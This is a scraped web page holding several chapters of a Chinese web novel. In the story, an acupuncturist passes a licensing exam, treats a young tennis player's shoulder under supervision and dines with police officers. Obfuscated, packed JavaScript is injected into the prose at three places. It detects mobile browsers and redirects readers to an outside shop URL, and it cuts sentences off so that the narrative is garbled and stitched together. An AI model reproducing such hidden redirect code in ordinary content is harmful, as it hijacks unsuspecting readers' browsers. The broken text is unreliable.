伊藤专务理事补充:“操作规范,安全意识强,具备优秀针灸师的职业素养。” 佐佐木医师言简意赅:“临床思维清晰,务实。” 山本老先生最后慢悠悠地开口,眼中精光闪烁:“针下有神,难得,你师父是谁?这手对经气的把握,不是闭门造车能练出来的。” 问题又回到了师承,江起用之前的说辞,再次诚恳地解释了一番家学渊源和个人的“直觉”积累。 山本老先生听罢,捋了捋雪白的胡须,意味深长地“唔”了一声,没再追问。 石田一郎最终宣布:“基于笔试和实操面试的全面评估,我们一致认为,江起君完全具备获得‘针灸师·灸师’国家资格的学识与技能水平,特例认定试验,合格。” “正式的资格认定书和登录手续,协会会在下周内完成,并通知你领取。 从即日起,你可以在石田诊疗所或其它具备资质的医疗机构,在上级医师或机构负责人的监督指导下,进行合法的针灸执业实践。”伊藤专务理事补充了后续流程。 “恭喜你,江起君。”石田一郎脸上露出了今天第一个,也是唯一一个清晰的微笑,虽然很淡,但充满了欣慰和认可,“这张资格证,是你应得的,也希望你能善用此技,造福病患,勿忘医者初心。” “是!非常感谢各位考官!谢谢石田先生!”江起深深鞠躬,心中一块石头悄然落地,更多的是一种沉甸甸的责任感和隐约的兴奋。 这条路上,他终于有了第一块官方认可的基石。 考试结束,考官们陆续离开。 石田一郎让江起稍等片刻。 当房间里只剩下他们两人时,石田一郎走到窗边,看着楼下逐渐热闹起来的街道,忽然问道:“江起君,过来的时候,还顺利吗?” 江起心中一动,走到他身侧。“很顺利,只是……”他略一迟疑,还是说了出来,“在路上,似乎有辆车跟着我。” 石田一郎没有回头,只是淡淡地“嗯”了一声,仿佛早有预料。 “那是‘朋友’的车。看来他们对你也挺上心。”他顿了顿,转过身,看着江起,目光深邃,“资格证是护身符,但也是标记,从今天起,你在这个圈子里的‘能见度’会更高,好事,可能也是麻烦事。自己多留心,在诊所那边,有需要帮忙的,随时可以来找我。” “我明白了,谢谢您,石田先生。”江起再次郑重道谢。 他明白,石田一郎指的“朋友”,恐怕不是松田他们,而是更“上面”的、关注着风见裕也事件、进而也注意到了他的人。 那张黑色的丰田世纪,就是一种无声的、带着压力的“关注”。 离开协会大楼,已近中午。 阳光有些刺眼。 江起站在街边,看着车水马龙,感受着即将到手的那张资格证的分量,以及背包里那两个冰冷器械和那套崭新针具的存在。 手机震动了一下,是松田阵平的短信,只有一句话: 【听说考得不错,晚上七点,老地方,请你吃拉面。】 江起看着屏幕,嘴角几不可查地弯了一下。他回了一个字: 【好。】 13. 第 13 章 晚上七点,高田马场那家熟悉的拉面店里,暖黄的灯光和浓郁的汤头香气混在一起。江起推开挂着暖帘的木门,风铃叮当作响。 店里坐满了七八成,大多是刚下班的上班族和附近的学生。 他一眼就看到了坐在最里面角落位置的松田阵平。 对方还是那身黑西装,只是领带扯松了,墨镜搁在桌边,正百无聊赖地用筷子拨弄着面前小碟里的红姜。 他旁边还坐着萩原研二,正笑眯眯地和柜台后忙碌的老板聊着什么,看见江起进来,立刻挥手。 “哟,江君,这边这边!” 江起走过去,在两人对面坐下,桌面上已经摆好了三杯冰水。 “恭喜啊,未来的江针灸师!”萩原研二笑着,眼睛弯成月牙,“听石田先生说,你把那几个老古板考官都震住了,厉害!” “过奖了,多亏石田先生推荐。”江起平静地说,看向松田阵平,“谢谢你们的……安排。” 他知道,这张资格证背后,绝不仅仅是石田一郎的面子。松田阵平和萩原研二的推动,以及他们背后可能动用的某些“关系”,才是能让协会如此高效、且以“特例”形式为他开绿灯的关键。 那辆黑色丰田世纪的“关注”,恐怕也与此有关。 松田阵平从鼻腔里哼了一声,算是回应,把菜单推过来。“点你的,今天我请。” 语气还是那副不耐烦的样子,但江起听出了里面那点不自在。 大概对松田阵平来说,这种“我欠你人情所以我请你吃饭”的场景,比拆弹还让他别扭。 江起也没客气,点了招牌酱油拉面,加叉烧和溏心蛋。 萩原研二要了盐味,松田阵平则是老样子的味噌加倍叉烧。 “资格证大概下周能拿到。”等待的间隙,江起主动说,“石田先生说,可以在他诊所挂名,进行‘监督下的实践’。” “嗯,石田老头那边最稳妥。”松田阵平喝了一口冰水,“他那诊所,一般人查不到,也动不了,你挂在那儿,以后再做些什么,至少面上说得过去。” “‘做些什么’?”江起抬眼。 “比如,再救个什么不该救的人。”松田阵平瞥了他一眼,语气平淡,但话里的意思很清楚。有了这个合法身份,以后再卷入类似风见裕也那样的事件,至少有个职业行为的幌子,法律风险会小很多。 “那小子怎么样了?”江起问起风见裕也的情况。 “恢复得不错,烧早退了,伤口长得还行,人也能下地慢慢挪了。”萩原研二接过话头,声音压低了些,“就是精神还紧绷,。不过石田先生那里安全,又有冈崎守着,暂时没问题,他那边的事……” 萩原研二看了一眼松田阵平,没继续说下去,只是笑了笑,“总之,多亏你了,江君。那小子这条命,还有他脑子里那些东西,算是保住了,上头……嗯,有些人,很满意。” 这个“上头”和“有些人”,显然不是指警视厅的普通上级,江起心里有数了,他没有深问,点了点头。 拉面很快端上来,热气腾腾。 三人暂时停止了交谈,专注于面前的食物。 吸溜面条的声音、喝汤的声音、偶尔筷子碰到碗边的轻响,在嘈杂的店里并不突兀。 吃完大半,松田阵平放下筷子,擦了擦嘴,忽然开口,话题转得有些突兀:“你那个针灸,对运动损伤,到底能管到什么程度?” 江起停下筷子,看向他。 “如果……是旧伤,一直没好利索,时不时就犯,影响状态,但还没到必须手术的地步呢?”松田阵平问得很具体,不像随口闲聊。 江起心里微微一动。 “那要看具体情况。需要详细的评估,最好有影像学检查。找到症结所在——是残留的炎症?粘连?肌肉不平衡?还是发力模式或关节稳定性有问题? 然后针对性地制定方案,针灸、手法、可能的中药外敷内服,结合特定的康复训练。很多这类问题,现代医学的康复理疗结合传统针灸,效果往往比单用一种好。 但需要时间,也需要患者的绝对配合。” 松田阵平听着,手指在桌上无意识地敲着,这是他思考时的习惯。 萩原研二也放下了筷子,看着松田阵平,没插话,眼神里有些了然,又有些无奈。 “怎么?”江起问,“是你们认识的人?” 松田阵平没立刻回答,端起杯子喝了口水,才像是下定了决心,抬眼看向江起,目光锐利:“不是我,也不是荻原,是……一个朋友的弟弟。打网球的,国中生,肩膀有旧伤,拖了挺久,最近好像严重了,影响训练和比赛。那小子倔得很,不想手术,怕耽误时间。但再这么硬撑下去,恐怕职业生涯就废了。” 网球、国中生、肩膀旧伤。 江起几乎瞬间就想到了手冢国光,但他没有表现出来,只是平静地问:“在东京?” “嗯,青学网球部的部长,手冢国光。”松田阵平直接说出了名字,“你之前是不是在路上碰巧帮他处理过急性发作?” 果然。江起点头:“是,大概一周多前,在街头网球场,他扣杀时急性肩峰下撞击发作。我做了应急处理,后来他同学带检查结果来找我咨询过。我建议他做详细评估,考虑系统的保守治疗。” 松田阵平脸上露出一丝“果然如此”的表情。“那小子和他部员后来去找过你?你给了建议?” “给了,建议他带着保守治疗的思路,再去咨询顶尖的运动医学专家,如果决定尝试,我可以提供针灸和方案方面的协助,但必须在专业医生和康复师主导下进行。”江起如实说。 “他听进去了?”松田阵平追问。 “看样子是,但最终怎么决定,是他的事。” 松田阵平沉默了几秒,看向萩原研二。 萩原研二叹了口气,接过话头:“是这样,江君,手冢那孩子……他父亲和我和小阵平以前的上司有些交情,他受伤的事,家里也知道,很担心。 但他自己坚持要打球,不想轻易手术。他父亲托了关系,想找更靠谱的医生看看,但那些大医院的专家,说法都差不多,要么手术,要么长期保守但效果不确定,我们上司知道这事,正好又听说了你……” 萩原研二指了指江起,笑容有点无奈,“毕竟你刚‘治好’了一个我们都没辙的重伤员,所以,就想问问,如果手冢那孩子真的决定尝试保守治疗,你这边……有没有把握?或者说,愿不愿意正式接手看看?当然,诊金和后续费用不用担心,他家里会负责。” 原来还有这层关系。 难怪松田阵平会特意问起运动损伤,还问得这么细。 这不仅仅是一个“朋友的弟弟”,还牵扯到他们上司的人情。 “我只有初步建议的能力,没有‘接手’的资格,尤其是在涉及未成年人且伤势不轻的情况下。”江起首先明确界限。 “如果手冢君和他的家人决定尝试保守治疗,并且找到了信得过的、愿意主导的骨科或运动医学科医生,以及专业的康复师,那么,我可以作为针灸和传统医学调理部分的提供者,加入这个团队,在医生和康复师的总体方案框架下工作,这是我的底线,也是为了患者负责。” 他顿了顿,补充道:“而且,我必须先看到所有详细的检查资料,并亲自为他做一次全面的评估,才能判断以我的方法介入,是否有价值,以及价值有多大。我不能,也不会承诺一定治好,或者保证恢复到什么程度,我只能承诺,如果我认为可行,会尽力而为。” 这番话冷静、专业、不卑不亢,既没大包大揽,也没推卸责任,清晰地划定了自己的角色和边界。 松田阵平和萩原研二对视一眼,都从对方眼中看到了一丝赞许和放心,他们要的就是这个态度,一个过于热切或夸口的“医生”,反而让人不敢把重要的人交给他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883066|191987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “行,明白了。”松田阵平点了点头,“我会把你的话转告,至于他们怎么决定,是他们的事,如果最后真找到你,你就按你的规矩来。需要什么协助,或者遇到什么麻烦,可以找我们。”他顿了顿,补充了一句,语气有点硬,“不是为那个小子,是为你自己,别又惹上麻烦。” 最后这句,几乎是明晃晃的“我罩你”的另一种说法了。 “谢谢。”江起接受了这份好意。 事情谈完,拉面也吃得差不多了。 萩原研二抢着结了账,三人走出拉面店,夜晚的街道比白天安静不少,晚风带着凉意。 “对了,”分开前,萩原研二像是忽然想起什么,对江起说,“下周末,我和小阵平他们几个同期有个小聚会,就是吃吃饭,喝喝酒,闲聊,都是自己人,你要不要来?顺便介绍几个朋友给你认识,在东京多认识点人,没坏处。” 这个邀请有点出乎江起意料,这几乎是将他纳入更私人圈子的信号了。 他看了一眼松田阵平,对方没什么表情,但也没反对。 “好,如果周末没有其他安排的话。”江起应下,多接触松田和萩原的社交圈,无论是为了安全,还是为了了解更多这个世界的“水面之下”,都不是坏事。 “那说定了!时间地点我到时候发你!”萩原研二高兴地拍拍他的肩。 “走了。”松田阵平言简意赅,戴上墨镜,和萩原研二一起走向停在路边的白色RX-7。 江起站在原地,看着车子驶离,尾灯在夜色中划出两道红线。 他转身,朝着公寓方向走去。夜风拂过脸颊,带着都市特有混合了各种气味的复杂气息。 手机在口袋里震了一下。 他拿出来看,是一条新邮件,来自一个陌生的学校邮箱,发件人写着“青春学园网球部大石秀一郎”。 邮件内容很正式,先是再次感谢他之前的帮助,然后表示手冢部长和家人经过慎重考虑和多方面咨询,决定尝试系统性的保守治疗方案。 他们已联系好一位在运动损伤方面颇有名气的医生,并找到了专业的康复师,初步方案已经制定。 邮件最后,礼貌而恳切地询问,江起是否愿意作为针灸调理的提供者加入这个治疗团队,并约定时间进行一次正式的当面评估与会谈。 附件里,是手冢国光最新、更详细的检查报告和初步治疗方案草稿。 效率真高。 看来手冢家,或者说,松田他们提到的那位“上司”,行动力很强。 江起没有立刻回复,他走回公寓,上楼,开门,开灯。 他放下背包,先给自己倒了杯水,然后才坐到书桌前,打开电脑,登录邮箱,仔细阅读那份附件里的资料。 新的MRI片子显示,盂唇的陈旧撕裂没有扩大,但周围炎症信号依然存在。 冈上肌和肩胛下肌的肌腱水肿有所减轻,但还没完全消退。 医生制定的初步康复方案很详细,涵盖了关节活动度、稳定性训练、肩袖肌群强化、以及逐步回归专项训练的阶段性计划。 整体思路科学、保守、循序渐进。 江起看完,思考了片刻,开始回复邮件。 他同意了加入团队的邀请,并提出了自己进行补充评估的时间和建议。 他强调,自己的针灸治疗将完全配合并服务于主流的康复方案,目标是缓解疼痛、消除残留炎症、改善局部循环、促进组织修复,并为强化训练提供支持。 列出了一些自己评估时会重点关注的方向,以及可能需要用到的针灸和传统外治法思路。 最后,他再次申明,一切治疗需在患者及其监护人知情同意、并在主导医生知晓的前提下进行。 邮件发出,时间已近晚上十点。 江起关掉电脑,走到窗边。 夜色正浓,远处东京塔的光芒在夜空中规律地明灭。 14. 第 14 章 周日的早晨,东京下起了淅淅沥沥的小雨。 雨丝不大,但足够将街道和建筑物洗刷得颜色深郁,空气里弥漫着湿润的泥土和植物气息。 江起撑着伞,再次走向“石田诊疗所”,和上次深夜匆匆而来不同,这次他步伐沉稳,格外的有底气,背包里除了笔记本和笔,还多了那份打印出来,关于手冢国光的详细检查报告和初步康复方案。 自动门无声滑开,熟悉的消毒液与淡淡艾草混合的气息扑面而来。 周日上午的诊所比上次晚上要热闹不少,候诊区不少人,前台只有一位年轻的护士在整理病历。 “您好,请问……”护士抬头,看到江起,略微一愣,随即露出职业化的微笑,“是江先生吧?石田先生交代过,请您直接上二楼,他在办公室等您。” “谢谢。”江起点点头,走向侧面的楼梯。 护士的目光在他背影上停留了一瞬,带着些许好奇,能让石田所长特意交代、并在周日早上约见的年轻人,可不多见,不过这个江先生长得还真不错。 相对于楼下的喧闹,二楼则安静不少。 江起走到标有“所长室”的门前,轻轻敲了敲。 “请进。”石田一郎的声音传来。 推门进去,房间不大,但布置得井井有条。 一面墙是顶天立地的书柜,塞满了厚重的医学典籍、期刊和线装古籍。 另一面是办公桌和电脑。 石田一郎今天穿着浅灰色的衬衫,没打领带,正坐在办公桌后,对着电脑屏幕看着什么。 阳光透过百叶窗,在他严谨的银发上投下细密的光斑。 “石田先生,早上好。打扰了。”江起微微鞠躬。 “江君来了,坐。”石田一郎指了指办公桌对面的椅子,目光从电脑屏幕移开,落在江起身上,金丝眼镜后的眼神带着一丝温和的审视,“资格认定委员会的内部流程已经走完,正式文件下周一会送到协会,你最快周二、三就可以来领取你的登录证和资格证明副本,恭喜。” “非常感谢您的帮助。”江起诚恳地说,没有石田一郎的力荐和安排,绝无可能如此顺利。 “是你自己凭本事拿到的。”石田一郎摆摆手,示意不必多礼,话锋一转,“邮件我看了,青学那个打网球的少年,你决定接手了?” “不是‘接手’,是作为针灸调理的协作者加入团队。” 江起纠正道,从背包里拿出那份资料,递了过去,“这是他们发来的最新资料和初步方案。 我约了今天下午在诊所对他进行一次补充评估,如果评估结果与我之前的判断和现有方案不冲突,并且他们同意,我会尝试制定一个配合主方案的针灸计划,在您这里,或者在他们指定的,符合规范的场所进行。” 石田一郎接过资料,快速浏览着MRI影像图和文字描述,眉头微微蹙起。 “盂唇陈旧伤,肌腱炎,骨骼未完全发育……确实麻烦,手术有风险,保守治疗周期长,对运动员的心理和竞技状态是巨大考验。”他抬头看向江起,“你有多大把握,你的针灸能在这个‘保守治疗’中起到关键作用,而不是锦上添花?” 问题很尖锐,直指核心。江起没有立刻回答,而是思考了几秒,才缓缓开口:“没有十足的把握,医学上没有百分百的保证,尤其是这种陈年旧伤,但我有‘信心’。” “信心?” “信心来源于对病理的理解,和方法的针对性。” 江起指向资料上的MRI影像,“他的问题核心,不只是盂唇那点旧伤和肌腱炎症,更是肩关节动力链的失衡、某些肌肉的过度紧张和薄弱、以及可能存在的发力代偿模式,现代康复方案会解决力量平衡和动作模式。 而针灸,可以更精准、更深入地作用于那些顽固的炎性病灶、粘连的软组织、以及因长期不适而处于异常张力状态的细小肌肉和筋膜,这是手法松解和训练有时难以触及的‘死角’。 同时,通过调节相关经络气血,改善局部循环和营养供应,为组织修复创造更好的内环境。 此外,针灸在缓解疼痛、改善睡眠、调节因伤病和压力导致的植物神经功能紊乱方面,也有其优势。 这些,都能为康复训练的顺利推进扫清障碍,提高整体效率。” 他顿了顿,补充道:“当然,这一切的前提是评估准确,方案得当,并且患者绝对配合,针灸不是魔法,它需要时间,也需要身体自身的修复能力。 我能做的,是尽力创造一个最优的修复条件,并在这个过程中,用我的针,去‘引导’和‘加速’这个过程。” 石田一郎静静地听着,手指轻轻摩挲着下巴。 良久,他点了点头,眼中闪过一丝赞赏。“思路清晰,定位准确,不夸大,不卑微,很好。”他将资料递还给江起,“下午的评估,需要我这边提供场地和协助吗?” “如果可以的话,希望借用一间空闲的诊室,可能需要一些简单的体格检查工具,比如量角器、握力计,如果诊所有的话。”江起说。在专业场所进行评估,更显正规,也更容易获得患者和家属的信任。 “可以,隔壁的2号诊室下午空着,器械都有,需要护士协助吗?” “暂时不用,谢谢,第一次评估,主要是问诊、视诊、触诊和一些功能测试,我独自完成即可。如果需要更复杂的检查,会提前和您沟通。” “嗯,你自行安排,诊疗所这边,我会打好招呼,你现在的身份,是诊疗所的‘特聘针灸技术指导’,在所长监督下开展工作。 相关文书,等资格证到手一并补齐,这样,你在这里的所有操作,都在合法框架内。”石田一郎考虑得很周全。 “是,非常感谢。”江起再次道谢。这个“特聘”身份,既给了他合法执业的平台,又是在石田一郎的羽翼之下,安全稳妥。 “还有件事,”石田一郎身体微微前倾,声音压低了些,“楼上那位,恢复得不错,伤口愈合良好,昨天已经能扶着拐杖在室内短距离行走,精神也好多了,他想当面再谢谢你。 你评估完那个网球少年后,如果有空,可以上去看看,冈崎君也在。” “好的,我下午结束后就去。”江起应下,对方的恢复,是他来到东京后,在“系统”辅助下,独立处理的第一例危重病例,他也关心后续。 离开所长室,江起先去2号诊室熟悉了一下环境,检查了器械。 诊室干净整洁,诊疗床、无菌操作台、常用的检查工具一应俱全。 他在窗边站了一会儿,看着窗外绵绵的雨丝,整理着下午评估的思路。 下午两点,雨势稍歇。 江起提前十分钟等在诊所一楼接待区。 两点整,诊所的自动门再次滑开。 几个人走了进来。 走在前面的正是手冢国光,他今天没穿运动服,而是一件浅蓝色的 Polo 衫和深色长裤,左臂自然下垂,但姿态依然挺拔,神色是一贯的冷峻。 他身边跟着戴眼镜的大石秀一郎,以及一位穿着得体、气质娴静、眉眼与手冢有几分相似的中年女性——应该是手冢的母亲。 最后面还有一位穿着西装、提着一个公文包、看起来像是司机或助理的男性。 “江医生,下午好,这位是家母。”手冢国光上前一步,微微鞠躬,介绍道,他母亲也礼貌地向江起欠身致意。 “手冢夫人,您好,手冢君,大石君,下午好,请跟我来,诊室在二楼。”江起回礼,引着几人上楼,来到2号诊室。 “手冢夫人,手冢君,在开始评估之前,我需要再次向你们说明几点。” 江起请手冢国光在诊疗床边坐下,自己则拉过一把椅子,坐在他对面,语气平静而认真,“首先,我并非您孩子的主治医生。 我的角色,是在现有康复方案基础上,提供针灸与传统医学方面的补充调理建议。 我的任何建议和操作,都不会,也不应该与主治医生的方案冲突。 其次,今天主要是评估,目的是更深入了解您孩子的具体情况,判断针灸介入的可行性和潜在价值。 评估结束后,我会给出我的专业意见,是否介入、如何介入,最终由您、手冢君以及他的主治医生共同决定,整个过程,石田所长会进行必要的监督。” 这番话清晰、专业,充满了对医疗规范和患者自主权的尊重。 手冢夫人眼中的一丝疑虑似乎消散了些,她点了点头:“我们明白,非常感谢江医生能抽出时间,国光的事,让您费心了。” “应该的。”江起转向手冢国光,“手冢君,我们开始吧,可以再详细描述一下你目前最具体的不适吗?比如疼痛的确切位置、性质、在什么动作或姿势下最容易诱发或加重? 静息时感觉如何?训练后和晨起时有什么区别?除了疼痛,有没有无力、麻木、发凉或者活动时有摩擦、卡住的感觉?” 问题细致而富有针对性。 手冢国光认真地一一回答,用词精确,甚至能描述出疼痛在某个特定角度下的细微变化。 大石在一旁补充了一些他观察到的细节,比如部长在某些发球或高压球后,会不自觉地微微蹙眉,或者短暂地放松一下右肩。 江起一边听,一边在笔记本上快速记录。 同时,他的“视野”再次聚焦于手冢的右肩。 淡橙色的劳损区域比上次街头急性发作时范围小了些,颜色也略淡,但核心区域,冈上肌肌腱附着点、肩峰下间隙前部的“亮度”依然较高,提示慢性炎症仍然存在。 代表关节稳定性和功能流畅度的淡蓝色“气流”,在肩关节前屈、外展至某个角度时,会出现明显的紊乱和“阻滞”。 问诊结束,江起开始系统的体格检查。 他让手冢国光脱去上衣,仔细对比观察双侧肩部的轮廓、肌肉形态,有无萎缩或肿胀。 然后进行详尽的关节活动度检查——前屈、后伸、外展、内收、内旋、外旋,记录下角度,并询问在每个角度末端是否有疼痛或不适。 接着是特殊检查。 给做手冢国光了空罐试验(Empty Can Test)、外展抗阻试验、抬离试验(Lift-off Test)等,评估冈上肌、冈下肌、肩胛下肌等肩袖肌群的力量和疼痛反应。 又检查了肩胛骨在静态和动态下的位置和活动轨迹,评估肩胛胸壁关节的稳定性。 整个检查过程,江起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他放下方案,看向手冢国光:“如果你们同意,我认为针灸可以在以下几个方面提供有价值的补充:第一,精准松解冈上肌、肩胛下肌肌腱附着点、肩峰下间隙等关键区域的顽固粘连和炎性结节。 第二,处理冈下肌、三角肌等肌肉内的激痛点,改善肌肉状态。 第三,通过调节手阳明大肠经、手少阳三焦经等经过肩部的经络气血,促进局部循环,加速炎症代谢产物清除,为组织修复提供更好环境。 第四,辅助缓解疼痛,改善因疼痛和焦虑可能带来的睡眠、食欲问题,为高强度康复训练提供身体和心理支持。” 他顿了顿,语气更加慎重:“但这一切的前提是,必须严格配合主康复方案。 针灸是‘助攻’,不是‘主攻’,而且,治疗初期可能会有一些酸胀甚至暂时的疼痛加重反应,需要你理解和忍耐。 治疗频率初期可能需要一周2-3次,随着情况改善再减少,整个过程,我会与你的主治医生和康复师保持沟通,确保方案协同。” 江起说完,诊室里安静了片刻。 手冢国光看着江起,又看了看自己母亲,最后目光落在那份详细的检查记录和示意图上,他沉默了几秒,然后开口,声音平静而坚定:“江医生,我明白了,我愿意尝试您的方案,需要我如何配合?” 手冢夫人看着儿子,眼中闪过心疼,但也有一丝释然和决断,她看向江起:“江医生,我们相信您的专业判断,就按您说的办,需要我们这边如何配合,请您尽管吩咐。主治医生那边,我们会去沟通,确保信息同步。” “谢谢你们的信任。”江起点点头,“那么,我们今天就先确定一个初步的针灸计划,第一次治疗,可以安排在下次你们来诊所进行康复训练时,或者另约时间。 今天,我先为你做一些非常轻柔的穴位按揉和经络疏导,让你初步感受一下,也可以评估你对针刺的耐受度和反应。可以吗?” “可以。”手冢国光毫不犹豫。 江起让他重新坐下,先用酒精棉球消毒了自己的双手,然后找准他左侧的合谷穴,用拇指指腹施加适中、持续的压力,并配合小幅度的揉动。 “这是合谷穴,镇痛要穴,也能疏导上肢气血,感觉如何?” “酸胀,很明显。”手冢回答。 接着,江起又在他的曲池穴、手三里穴以及右侧颈肩部的肩井穴、天宗穴等处做了同样的按揉。他的手法沉稳有力,渗透感强。 随着按揉,手冢明显感觉到右侧肩部那种隐约的沉滞和牵拉感,似乎有了一丝松解,局部皮肤微微发热。 “感觉……肩膀好像轻松了一点。”手冢有些惊讶,这仅仅是按揉,并非针刺。 “气血初步得到疏导。”江起解释道,“这说明你的身体对这类刺激反应良好,下次正式治疗,效果应该会更明显。” 首次评估在专业、坦诚和初步建立信任的氛围中结束。 江起与手冢母子商定了下一次的大致时间,并写了一份简洁的评估小结和建议,交给他们带去与主治医生沟通。 送走手冢一行人后,江起在诊室里稍作整理,说起来,手冢国光还真有点不像初中的学生,感觉气势比自己还要足。 算了,有的人可能天生就是当领导的样子吧,江起摇了摇头,不在想那么多。 窗外,雨不知何时已经停了,云层缝隙里透出几缕夕阳的余晖。 他收拾好东西,离开诊室,走上通往三楼的楼梯。 15.第 15 章 周三的傍晚,夕阳将天空染成一片温暖的橙红。 江起站在约定的家庭餐厅门口,略微整理了一下身上那件比平时稍显正式的浅灰色衬衫,手机震了一下,是萩原研二的短信:【包厢“竹”,直接进来!】 推开包厢门,喧嚣的热浪和食物的香气扑面而来。 不大的和式包厢里已经坐了好几个人,正中间的矮桌上摆满了烤肉、炸物、沙拉和成扎的啤酒。 松田阵平盘腿坐在靠窗的位置,一手拿着啤酒杯,一手不耐烦地扯着领带,看见江起,只是抬了抬下巴。 萩原研二则坐在他对面,正眉飞色舞地说着什么,旁边坐着一个身材高大、皮肤黝黑、笑得一脸爽朗的男人,留着很有个性的小胡子——应该就是伊达航。 伊达航身边,坐着一个看起来有些拘谨、戴着眼镜的年轻警察,正努力跟着大家的节奏微笑,是高木涉。 而坐在伊达航另一侧,身材敦实、戴着标志性帽子的,正是警视厅搜查一课的目暮十三警部。 他看起来比平时电视上见到的要放松一些,但坐姿依然挺直,手里也拿着一杯茶,正听着萩原说话。 然而,这还不是全部。 这个名为“竹”的包厢,其实与隔壁名为“梅”的包厢由一道可活动的纸质隔断分开。 此刻,隔断被完全拉开,两个包厢合成了一间更大的热闹空间。 隔壁包厢里坐着另外四五个人,看起来也是警察,年纪稍长,气氛同样热烈,桌上摆着更多的酒瓶。 “哦!江君来了!”萩原研二第一个发现江起,立刻热情地挥手,“喂!这边的主角之一到了!给大家介绍一下,这位就是江起,江医生,我跟小阵平提过的那位神医!” 隔壁包厢的几位警官也看了过来,笑着举杯示意。 “抱歉,路上有点堵车。”江起在门口脱了鞋,走进包厢,对众人微微欠身,“我是江起,打扰了。” “江医生,又见面了。”目暮十三第一个开口,语气比上次熟稔了一些,带着长辈的温和,“别客气,快坐,今天是私人聚会,放松点。” “江医生,我是伊达航,这家伙的同期。”伊达航拍了拍萩原的肩膀,声音洪亮,笑容豪爽,“总听Hagi和松田提起你,说你医术了得,今天总算见到了!” “伊达前辈您好,叫我江起就好。”江起在萩原旁边空出的位置坐下。 “我、我是高木涉,警视厅搜查一课的新人,请多指教!”高木涉有些紧张地自我介绍。 “高木君,你好。”江起对他点头微笑。 一位看起来四十多岁,面容带着明显疲惫但笑容爽朗的警官,端着酒杯走了过来,很自然地在伊达航和目暮中间找了个空位坐下,正好坐在了江起的斜对面。 “江医生是吧?我是佐藤正义,算是他们的前辈,现在在搜查一课混日子。”他主动自我介绍,虽然带着笑,但眼下的青黑和眉宇间挥之不去的倦色,在近距离下看得更清楚,“总听他们提起你,说你是这个!” 他比了个大拇指,“今天总算见到了,果然年轻有为!来,我敬你一杯,感谢你平时照顾这帮让人不省心的家伙!” “佐藤前辈,您这话说的……”伊达航笑着摇头。 “佐藤管理官,您少喝点,脸色可不太好。”目暮十三关切地看了他一眼。 “没事没事,老毛病了,就是最近那个连环盗窃案熬的。”佐藤正义摆摆手,满不在乎,但咳嗽了两声,下意识地揉了揉左胸。 江起礼貌地回应,与佐藤正义碰了杯,他注意到这位佐藤管理官虽然谈笑风生,但呼吸似乎比常人稍浅,脸色在灯光下也透着一丝不健康的潮红,坐下时动作有些微的迟滞。 出于医者的习惯,江起多留意了他几分。 “好了好了,人都齐了,先干一杯!”萩原研二举起啤酒杯,“庆祝我们英俊潇洒的伊达航前辈即将调任搜查一课,也欢迎我们年轻有为的江医生加入我们的饭局!干杯!” “干杯!”众人举杯,连目暮也笑着端起了茶杯。 气氛很快活跃起来。 烤盘上的肉片滋滋作响,啤酒杯不断被斟满。 伊达航和萩原研二是活跃气氛的主力,两人一唱一和,说起警校时期的趣事和最近遇到的奇葩案件,引得众人哈哈大笑。 松田阵平虽然话不多,但嘴角也带着一丝极淡的笑意,偶尔毒舌吐槽一句,往往能精准戳中笑点。 高木涉起初还有些放不开,几杯酒下肚,在伊达航的鼓励和萩原的带动下,也渐渐放松,能插上几句话。 目暮十三则像一位大家长,笑眯眯地听着,偶尔问江起几句在东京习不习惯,学业如何。 江起大部分时间在倾听,适时地回应几句。 他能感觉到,这个小小的包厢里,洋溢着一种坚实而温暖,属于“自己人”的氛围。 松田和萩原把他带进这个圈子,是一种无声的认可和接纳。 酒过三巡,话题不知不觉转到了健康上。 伊达航揉着脖子抱怨:“最近熬夜蹲点,脖子和肩膀僵得跟石头一样,这老腰也有点不对劲。” “前辈,你那是长期开车和不良坐姿导致的。”高木涉小声说,他自己也下意识地揉了揉胃部。 “说到这个,”目暮十三放下茶杯,看向江起,眼神里带着好奇和一丝不易察觉的期待,“江君,上次听松田君和萩原君提起,你对中医很有研究,还会‘把脉’?真的能看出身体哪里不对劲吗?” 这话一出,大家都看了过来。 萩原立刻起哄:“对对对!江君,露一手!给我们这位敬业的目暮警部看看,他可是我们搜查一课的顶梁柱,身体必须得照顾好!” 松田阵平没说话,但也瞥了江起一眼,眼神里带着点“看你怎么办”的意味。 江起知道这是个加深关系、展现价值的好机会,也正好履行一下医者的本分。他笑了笑,没有推辞:“把脉是中医四诊之一,确实能一定程度上反映身体的寒热虚实、气血盈亏,不过,现代医学检查更精确。把脉更多是提供一种补充的视角和调理思路,如果各位不介意,我可以简单为大家看看,就当是朋友间的健康提醒。” “不介意不介意!”伊达航第一个伸出手腕,“来来来,江医生,先给我看看!我最近总觉得不得劲!” 江起洗净手,示意伊达航将手腕平放在桌边的软垫上,他三指搭上伊达航的腕部,凝神静气。 指尖下,脉搏的跳动清晰地传来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885973|191987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 